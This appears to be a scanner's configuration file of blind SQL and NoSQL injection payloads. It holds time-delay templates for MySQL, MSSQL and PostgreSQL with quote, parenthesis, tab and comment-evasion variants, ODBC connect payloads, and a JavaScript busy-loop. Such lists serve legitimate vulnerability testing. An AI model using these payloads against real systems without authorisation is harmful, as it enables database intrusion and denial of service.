[DEFAULT]
payload = None

[sleep]
payload = sleep([TIME])#1

[sleep_lf]
payload = sleep([TIME])#[LF]1

[comma_sleep]
payload = [VALUE],sleep([TIME])#1

[backtick_comma_sleep]
payload = [VALUE]`,sleep([TIME])#1

[int_or_sleep]
payload = 1 or sleep([TIME])#1

[int_or_sleep_lf]
payload = 1 or sleep([TIME])#[LF]1

[double_quote_or_sleep]
payload = " or sleep([TIME])#1

[double_quote_or_sleep_lf]
payload = " or sleep([TIME])#[LF]1

[single_quote_or_sleep]
payload = ' or sleep([TIME])#1

[single_quote_or_sleep_lf]
payload = ' or sleep([TIME])#[LF]1

[double_quote_or_sleep_equal]
payload = " or sleep([TIME])="

[single_quote_or_sleep_equal]
payload = ' or sleep([TIME])='

[int_parenthesis_or_sleep]
payload = 1) or sleep([TIME])#1

[int_parenthesis_or_sleep_lf]
payload = 1) or sleep([TIME])#[LF]1

[double_quote_parenthesis_or_sleep_equal]
payload = ") or sleep([TIME])="

[single_quote_parenthesis_or_sleep_equal]
payload = ') or sleep([TIME])='

[double_parenthesis_or_sleep]
payload = 1)) or sleep([TIME])#1

[double_parenthesis_or_sleep_lf]
payload = 1)) or sleep([TIME])#[LF]1

[double_quote_double_parenthesis_or_sleep_equal]
payload = ")) or sleep([TIME])="

[single_quote_double_parenthesis_or_sleep_equal]
payload = ')) or sleep([TIME])='

[int_and_sleep]
payload = 1 and sleep([TIME])#1

[int_and_sleep_lf]
payload = 1 and sleep([TIME])#[LF]1

[double_quote_and_sleep]
payload = " and sleep([TIME])#1

[double_quote_and_sleep_lf]
payload = " and sleep([TIME])#[LF]1

[single_quote_and_sleep]
payload = ' and sleep([TIME])#1

[single_quote_and_sleep_lf]
payload = ' and sleep([TIME])#[LF]1

[double_quote_and_sleep_equal]
payload = " and sleep([TIME])="

[single_quote_and_sleep_equal]
payload = ' and sleep([TIME])='

[int_parenthesis_and_sleep]
payload = 1) and sleep([TIME])#1

[int_parenthesis_and_sleep_lf]
payload = 1) and sleep([TIME])#[LF]1

[double_quote_parenthesis_and_sleep_equal]
payload = ") and sleep([TIME])="

[single_quote_parenthesis_and_sleep_equal]
payload = ') and sleep([TIME])='

[int_double_parenthesis_and_sleep]
payload = 1)) and sleep([TIME])#1

[int_double_parenthesis_and_sleep_lf]
payload = 1)) and sleep([TIME])#[LF]1

[double_quote_double_parenthesis_and_sleep_equal]
payload = ")) and sleep([TIME])="

[single_quote_double_parenthesis_and_sleep_equal]
payload = ')) and sleep([TIME])='

[stacked_waitfor]
payload = ;waitfor delay '0:0:[TIME]'--1

[value_stacked_waitfor]
payload = [VALUE];waitfor delay '0:0:[TIME]'--1

[value_waitfor]
payload = [VALUE] waitfor delay '0:0:[TIME]'--1

[stacked_waitfor_lf]
payload = ;waitfor delay '0:0:[TIME]'--[LF]1

[parenthesis_stacked_waitfor]
payload = );waitfor delay '0:0:[TIME]'--1

[value_parenthesis_stacked_waitfor]
payload = [VALUE]);waitfor delay '0:0:[TIME]'--1

[parenthesis_stacked_waitfor_lf]
payload = );waitfor delay '0:0:[TIME]'--[LF]1

[single_quote_stacked_waitfor]
payload = ';waitfor delay '0:0:[TIME]'--1

[single_quote_stacked_waitfor_lf]
payload = ';waitfor delay '0:0:[TIME]'--[LF]1

[double_quote_stacked_waitfor]
payload = ";waitfor delay '0:0:[TIME]'--1

[double_quote_stacked_waitfor_lf]
payload = ";waitfor delay '0:0:[TIME]'--[LF]1

[parenthesis_single_quote_stacked_waitfor]
payload = ');waitfor delay '0:0:[TIME]'--1

[parenthesis_single_quote_stacked_waitfor_lf]
payload = ');waitfor delay '0:0:[TIME]'--[LF]1

[parenthesis_double_quote_stacked_waitfor]
payload = ");waitfor delay '0:0:[TIME]'--1

[parenthesis_double_quote_stacked_waitfor_lf]
payload = ");waitfor delay '0:0:[TIME]'--[LF]1

[double_parenthesis_stacked_waitfor]
payload = ));waitfor delay '0:0:[TIME]'--1

[value_double_parenthesis_stacked_waitfor]
payload = [VALUE]));waitfor delay '0:0:[TIME]'--1

[double_parenthesis_stacked_waitfor_lf]
payload = ));waitfor delay '0:0:[TIME]'--[LF]1

[single_quote_double_parenthesis_stacked_waitfor]
payload = '));waitfor delay '0:0:[TIME]'--1

[single_quote_double_parenthesis_stacked_waitfor_lf]
payload = '));waitfor delay '0:0:[TIME]'--[LF]1

[double_quote_double_parenthesis_stacked_waitfor]
payload = "));waitfor delay '0:0:[TIME]'--1

[double_quote_double_parenthesis_stacked_waitfor_lf]
payload = "));waitfor delay '0:0:[TIME]'--[LF]1

[benchmark]
payload = benchmark(10000000,MD5(1))#1

[int_or_benchmark]
payload = 1 or benchmark(10000000,MD5(1))#1

[double_quote_or_benchmark]
payload = " or benchmark(10000000,MD5(1))#1

[single_quote_or_benchmark]
payload = ' or benchmark(10000000,MD5(1))#1

[int_parenthesis_or_benchmark]
payload = 1) or benchmark(10000000,MD5(1))#1

[double_quote_parenthesis_or_benchmark]
payload = ") or benchmark(10000000,MD5(1))#1

[single_quote_parenthesis_or_benchmark]
payload = ') or benchmark(10000000,MD5(1))#1

[int_double_parenthesis_or_benchmark]
payload = 1)) or benchmark(10000000,MD5(1))#1

[double_quote_double_parenthesis_or_benchmark]
payload = ")) or benchmark(10000000,MD5(1))#1

[single_quote_double_parenthesis_or_benchmark]
payload = ')) or benchmark(10000000,MD5(1))#1

[pg_sleep]
payload = pg_sleep([TIME])--1

[pg_sleep_lf]
payload = pg_sleep([TIME])--[LF]1

[int_or_pg_sleep]
payload = 1 or pg_sleep([TIME])--1

[int_or_pg_sleep_lf]
payload = 1 or pg_sleep([TIME])--[LF]1

[double_quote_or_pg_sleep]
payload = " or pg_sleep([TIME])--1

[double_quote_or_pg_sleep_lf]
payload = " or pg_sleep([TIME])--[LF]1

[single_quote_or_pg_sleep]
payload = ' or pg_sleep([TIME])--1

[single_quote_or_pg_sleep_lf]
payload = ' or pg_sleep([TIME])--[LF]1

[int_parenthesis_or_pg_sleep]
payload = 1) or pg_sleep([TIME])--1

[int_parenthesis_or_pg_sleep_lf]
payload = 1) or pg_sleep([TIME])--[LF]1

[double_quote_parenthesis_or_pg_sleep]
payload = ") or pg_sleep([TIME])--1

[double_quote_parenthesis_or_pg_sleep_lf]
payload = ") or pg_sleep([TIME])--[LF]1

[single_quote_parenthesis_or_pg_sleep]
payload = ') or pg_sleep([TIME])--1

[single_quote_parenthesis_or_pg_sleep_lf]
payload = ') or pg_sleep([TIME])--[LF]1

[int_double_parenthesis_or_pg_sleep]
payload = 1)) or pg_sleep([TIME])--1

[double_quote_double_parenthesis_or_pg_sleep]
payload = ")) or pg_sleep([TIME])--1

[single_quote_double_parenthesis_or_pg_sleep]
payload = ')) or pg_sleep([TIME])--1

[int_and_pg_sleep]
payload = 1 and pg_sleep([TIME])--1

[double_quote_and_pg_sleep]
payload = " and pg_sleep([TIME])--1

[single_quote_and_pg_sleep]
payload  =' and pg_sleep([TIME])--1

[int_parenthesis_and_pg_sleep]
payload = 1) and pg_sleep([TIME])--1

[double_quote_parenthesis_and_pg_sleep]
payload = ") and pg_sleep([TIME])--1

[single_quote_parenthesis_and_pg_sleep]
payload = ') and pg_sleep([TIME])--1

[int_double_parenthesis_and_pg_sleep]
payload = 1)) and pg_sleep([TIME])--1

[double_quote_double_parenthesis_and_pg_sleep]
payload = ")) and pg_sleep([TIME])--1

[single_quote_double_parenthesis_and_pg_sleep]
payload = ')) and pg_sleep([TIME])--1

[tab_int_or_sleep]
payload = 1[TAB]or[TAB]sleep([TIME])#1

[tab_double_quote_or_sleep]
payload = "[TAB]or[TAB]sleep([TIME])#1

[tab_single_quote_or_sleep]
payload = '[TAB]or[TAB]sleep([TIME])#1

[tab_double_quote_or_sleep_equal]
payload = "[TAB]or[TAB]sleep([TIME])="

[tab_single_quote_or_sleep_equal]
payload = '[TAB]or[TAB]sleep([TIME])='

[tab_int_parenthesis_or_sleep]
payload = 1)[TAB]or[TAB]sleep([TIME])#1

[tab_double_quote_parenthesis_or_sleep_equal]
payload = ")[TAB]or[TAB]sleep([TIME])="

[tab_single_quote_parenthesis_or_sleep_equal]
payload = ')[TAB]or[TAB]sleep([TIME])='

[tab_int_double_parenthesis_or_sleep]
payload = 1))[TAB]or[TAB]sleep([TIME])#1

[tab_double_quote_double_parenthesis_or_sleep]
payload = "))[TAB]or[TAB]sleep([TIME])="

[tab_single_quote_double_parenthesis_or_sleep]
payload = '))[TAB]or[TAB]sleep([TIME])='

[tab_int_and_sleep]
payload = 1[TAB]and[TAB]sleep([TIME])#1

[tab_double_quote_and_sleep]
payload = "[TAB]and[TAB]sleep([TIME])#1

[tab_single_quote_and_sleep]
payload = '[TAB]and[TAB]sleep([TIME])#1

[tab_double_quote_and_sleep_equal]
payload = "[TAB]and[TAB]sleep([TIME])="

[tab_single_quote_and_sleep_equal]
payload = '[TAB]and[TAB]sleep([TIME])='

[tab_int_parenthesis_and_sleep]
payload = 1)[TAB]and[TAB]sleep([TIME])#1

[tab_double_quote_parenthesis_and_sleep_equal]
payload = ")[TAB]and[TAB]sleep([TIME])="

[tab_single_quote_parenthesis_and_sleep_equal]
payload = ')[TAB]and[TAB]sleep([TIME])='

[tab_int_double_parenthesis_and_sleep]
payload = 1))[TAB]and[TAB]sleep([TIME])#1

[tab_double_quote_double_parenthesis_and_sleep_equal]
payload = "))[TAB]and[TAB]sleep([TIME])="

[tab_single_quote_double_parenthesis_and_sleep_equal]
payload = '))[TAB]and[TAB]sleep([TIME])='

[tab_stacked_waitfor]
payload = ;waitfor[TAB]delay[TAB]'0:0:[TIME]'--1

[tab_parenthesis_stacked_waitfor]
payload = );waitfor[TAB]delay[TAB]'0:0:[TIME]'--1

[tab_single_quote_stacked_waitfor]
payload = ';waitfor[TAB]delay[TAB]'0:0:[TIME]'--1

[tab_double_quote_stacked_waitfor]
payload = ";waitfor[TAB]delay[TAB]'0:0:[TIME]'--1

[tab_single_quote_parenthesis_stacked_waitfor]
payload = ');waitfor[TAB]delay[TAB]'0:0:[TIME]'--1

[tab_double_quote_parenthesis_stacked_waitfor]
payload = ");waitfor[TAB]delay[TAB]'0:0:[TIME]'--1

[tab_double_parenthesis_stacked_waitfor]
payload = ));waitfor[TAB]delay[TAB]'0:0:[TIME]'--1

[tab_single_quote_double_parenthesis_stacked_waitfor]
payload = '));waitfor[TAB]delay[TAB]'0:0:[TIME]'--1

[tab_double_quote_double_parenthesis_stacked_waitfor]
payload = "));waitfor[TAB]delay[TAB]'0:0:[TIME]'--1

[tab_int_or_benchmark]
payload = 1[TAB]or[TAB]benchmark(10000000,MD5(1))#1

[tab_double_quote_or_benchmark]
payload = "[TAB]or[TAB]benchmark(10000000,MD5(1))#1

[tab_single_quote_or_benchmark]
payload = '[TAB]or[TAB]benchmark(10000000,MD5(1))#1

[tab_int_parenthesis_or_benchmark]
payload = 1)[TAB]or[TAB]benchmark(10000000,MD5(1))#1

[tab_double_quote_parenthesis_or_benchmark]
payload = ")[TAB]or[TAB]benchmark(10000000,MD5(1))#1

[tab_single_quote_parenthesis_or_benchmark]
payload = ')[TAB]or[TAB]benchmark(10000000,MD5(1))#1

[tab_int_double_parenthesis_or_benchmark]
payload = 1))[TAB]or[TAB]benchmark(10000000,MD5(1))#1

[tab_double_quote_double_parenthesis_or_benchmark]
payload = "))[TAB]or[TAB]benchmark(10000000,MD5(1))#1

[tab_single_quote_double_parenthesis_or_benchmark]
payload = '))[TAB]or[TAB]benchmark(10000000,MD5(1))#1

[tab_int_or_pg_sleep]
payload = 1[TAB]or[TAB]pg_sleep([TIME])--1

[tab_double_quote_or_pg_sleep]
payload = "[TAB]or[TAB]pg_sleep([TIME])--1

[tab_single_quote_or_pg_sleep]
payload = '[TAB]or[TAB]pg_sleep([TIME])--1

[tab_int_parenthesis_or_pg_sleep]
payload = 1)[TAB]or[TAB]pg_sleep([TIME])--1

[tab_double_quote_parenthesis_or_pg_sleep]
payload = ")[TAB]or[TAB]pg_sleep([TIME])--1

[tab_single_quote_parenthesis_or_pg_sleep]
payload = ')[TAB]or[TAB]pg_sleep([TIME])--1

[tab_int_double_parenthesis_or_pg_sleep]
payload = 1))[TAB]or[TAB]pg_sleep([TIME])--1

[tab_double_quote_double_parenthesis_or_pg_sleep]
payload = "))[TAB]or[TAB]pg_sleep([TIME])--1

[tab_single_quote_double_parenthesis_or_pg_sleep]
payload = '))[TAB]or[TAB]pg_sleep([TIME])--1

[tab_int_and_pg_sleep]
payload = 1[TAB]and[TAB]pg_sleep([TIME])--1

[tab_double_quote_and_pg_sleep]
payload = "[TAB]and[TAB]pg_sleep([TIME])--1

[tab_single_quote_and_pg_sleep]
payload = '[TAB]and[TAB]pg_sleep([TIME])--1

[tab_int_parenthesis_and_pg_sleep]
payload = 1)[TAB]and[TAB]pg_sleep([TIME])--1

[tab_double_quote_parenthesis_and_pg_sleep]
payload = ")[TAB]and[TAB]pg_sleep([TIME])--1

[tab_single_quote_parenthesis_and_pg_sleep]
payload = ')[TAB]and[TAB]pg_sleep([TIME])--1

[tab_int_double_parenthesis_and_pg_sleep]
payload = 1))[TAB]and[TAB]pg_sleep([TIME])--1

[tab_double_quote_double_parenthesis_and_pg_sleep]
payload = "))[TAB]and[TAB]pg_sleep([TIME])--1

[tab_single_quote_double_parenthesis_and_pg_sleep]
payload = '))[TAB]and[TAB]pg_sleep([TIME])--1

[comment_int_or_sleep]
payload = 1/**/or/**/sleep([TIME])#1

[comment_double_quote_or_sleep]
payload = "/**/or/**/sleep([TIME])#1

[comment_single_quote_or_sleep]
payload = '/**/or/**/sleep([TIME])#1

[comment_double_quote_or_sleep_equal]
payload = "/**/or/**/sleep([TIME])="

[comment_single_or_sleep_equal]
payload = '/**/or/**/sleep([TIME])='

[comment_int_parenthesis_or_sleep]
payload = 1)/**/or/**/sleep([TIME])#1

[comment_double_quote_parenthesis_or_sleep_equal]
payload = ")/**/or/**/sleep([TIME])="

[comment_single_quote_parenthesis_or_sleep_equal]
payload = ')/**/or/**/sleep([TIME])='

[comment_int_double_parenthesis_or_sleep]
payload = 1))/**/or/**/sleep([TIME])#1

[comment_double_quote_double_parenthesis_or_sleep_equal]
payload = "))/**/or/**/sleep([TIME])="

[comment_single_quote_or_sleep_equal]
payload = '))/**/or/**/sleep([TIME])='

[comment_int_and_sleep]
payload = 1/**/and/**/sleep([TIME])#1

[comment_double_quote_and_sleep]
payload = "/**/and/**/sleep([TIME])#1

[comment_single_quote_and_sleep]
payload = '/**/and/**/sleep([TIME])#1

[comment_double_quote_and_sleep_equal]
payload = "/**/and/**/sleep([TIME])="

[comment_single_quote_and_sleep_equal]
payload  ='/**/and/**/sleep([TIME])='

[comment_int_parenthesis_and_sleep]
payload = 1)/**/and/**/sleep([TIME])#1

[comment_double_quote_parenthesis_and_sleep_equal]
payload = ")/**/and/**/sleep([TIME])="

[comment_single_quote_parenthesis_and_sleep_equal]
payload = ')/**/and/**/sleep([TIME])='

[comment_int_double_parenthesis_and_sleep]
payload = 1))/**/and/**/sleep([TIME])#1

[comment_double_quote_double_parenthesis_and_sleep_equal]
payload = "))/**/and/**/sleep([TIME])="

[comment_single_quote_double_parenthesis_and_sleep_equal]
payload = '))/**/and/**/sleep([TIME])='

[comment_stacked_waitfor]
payload = ;waitfor/**/delay/**/'0:0:[TIME]'--1

[comment_parenthesis_stacked_waitfor]
payload = );waitfor/**/delay/**/'0:0:[TIME]'--1

[comment_single_quote_stacked_waitfor]
payload = ';waitfor/**/delay/**/'0:0:[TIME]'--1

[comment_double_quote_stacked_waitfor]
payload = ";waitfor/**/delay/**/'0:0:[TIME]'--1

[comment_single_quote_parenthesis_stacked_waitfor]
payload = ');waitfor/**/delay/**/'0:0:[TIME]'--1

[comment_double_quote_parenthesis_stacked_waitfor]
payload = ");waitfor/**/delay/**/'0:0:[TIME]'--1

[comment_double_parenthesis_stacked_waitfor]
payload = ));waitfor/**/delay/**/'0:0:[TIME]'--1

[comment_single_quote_double_parenthesis_stacked_waitfor]
payload = '));waitfor/**/delay/**/'0:0:[TIME]'--1

[comment_double_quote_double_parenthesis_stacked_waitfor]
payload = "));waitfor/**/delay/**/'0:0:[TIME]'--1

[comment_int_or_benchmark]
payload = 1/**/or/**/benchmark(10000000,MD5(1))#1

[comment_double_quote_or_benchmark]
payload = "/**/or/**/benchmark(10000000,MD5(1))#1

[comment_single_quote_or_benchmark]
payload = '/**/or/**/benchmark(10000000,MD5(1))#1

[comment_int_parenthesis_or_benchmark]
payload = 1)/**/or/**/benchmark(10000000,MD5(1))#1

[comment_double_quote_parenthesis_or_benchmark]
payload = ")/**/or/**/benchmark(10000000,MD5(1))#1

[comment_single_quote_parenthesis_or_benchmark]
payload = ')/**/or/**/benchmark(10000000,MD5(1))#1

[comment_int_double_parenthesis_or_benchmark]
payload = 1))/**/or/**/benchmark(10000000,MD5(1))#1

[comment_double_quote_double_parenthesis_or_benchmark]
payload = "))/**/or/**/benchmark(10000000,MD5(1))#1

[comment_single_quote_double_parenthesis_or_benchmark]
payload = '))/**/or/**/benchmark(10000000,MD5(1))#1

[comment_int_or_pg_sleep]
payload = 1/**/or/**/pg_sleep([TIME])--1

[comment_double_quote_or_pg_sleep]
payload = "/**/or/**/pg_sleep([TIME])--1

[comment_single_quote_or_pg_sleep]
payload = '/**/or/**/pg_sleep([TIME])--1

[comment_int_parenthesis_or_pg_sleep]
payload = 1)/**/or/**/pg_sleep([TIME])--1

[comment_double_quote_parenthesis_or_pg_sleep]
payload = ")/**/or/**/pg_sleep([TIME])--1

[comment_single_quote_parenthesis_or_pg_sleep]
payload = ')/**/or/**/pg_sleep([TIME])--1

[comment_int_double_parenthesis_or_pg_sleep]
payload = 1))/**/or/**/pg_sleep([TIME])--1

[comment_double_quote_double_parenthesis_or_pg_sleep]
payload = "))/**/or/**/pg_sleep([TIME])--1

[comment_single_quote_double_parenthesis_or_pg_sleep]
payload = '))/**/or/**/pg_sleep([TIME])--1

[comment_int_and_pg_sleep]
payload = 1/**/and/**/pg_sleep([TIME])--1

[comment_double_quote_and_pg_sleep]
payload = "/**/and/**/pg_sleep([TIME])--1

[comment_single_quote_and_pg_sleep]
payload = '/**/and/**/pg_sleep([TIME])--1

[comment_int_parenthesis_and_pg_sleep]
payload = 1)/**/and/**/pg_sleep([TIME])--1

[comment_double_quote_parenthesis_and_pg_sleep]
payload = ")/**/and/**/pg_sleep([TIME])--1

[comment_single_quote_parenthesis_and_pg_sleep]
payload = ')/**/and/**/pg_sleep([TIME])--1

[comment_int_double_parenthesis_and_pg_sleep]
payload = 1))/**/and/**/pg_sleep([TIME])--1

[comment_double_quote_double_parenthesis_and_pg_sleep]
payload = "))/**/and/**/pg_sleep([TIME])--1

[comment_single_quote_double_parenthesis_and_pg_sleep]
payload = '))/**/and/**/pg_sleep([TIME])--1

[single_quote_connect]
payload = ' and (SELECT * FROM [ODBC;DRIVER=SQL SERVER;Server=1.1.1.1;DATABASE=w].a.p)[NULL]

[double_quote_connect]
payload = " and (SELECT * FROM [ODBC;DRIVER=SQL SERVER;Server=1.1.1.1;DATABASE=w].a.p)[NULL]

[single_quote_parenthesis_connect]
payload = ') and (SELECT * FROM [ODBC;DRIVER=SQL SERVER;Server=1.1.1.1;DATABASE=w].a.p)[NULL]

[double_quote_parenthesis_connect]
payload = ") and (SELECT * FROM [ODBC;DRIVER=SQL SERVER;Server=1.1.1.1;DATABASE=w].a.p)[NULL]

[single_quote_double_parenthesis_connect]
payload = ')) and (SELECT * FROM [ODBC;DRIVER=SQL SERVER;Server=1.1.1.1;DATABASE=w].a.p)[NULL]

[double_quote_double_parenthesis_connect]
payload = ")) and (SELECT * FROM [ODBC;DRIVER=SQL SERVER;Server=1.1.1.1;DATABASE=w].a.p)[NULL]

[single_quote_nosql_loop]
payload = ';d=new Date();do{cd=new Date();}while(cd-d<10000);//

[double_quote_nosql_loop]
payload = ";d=new Date();do{cd=new Date();}while(cd-d<10000);//
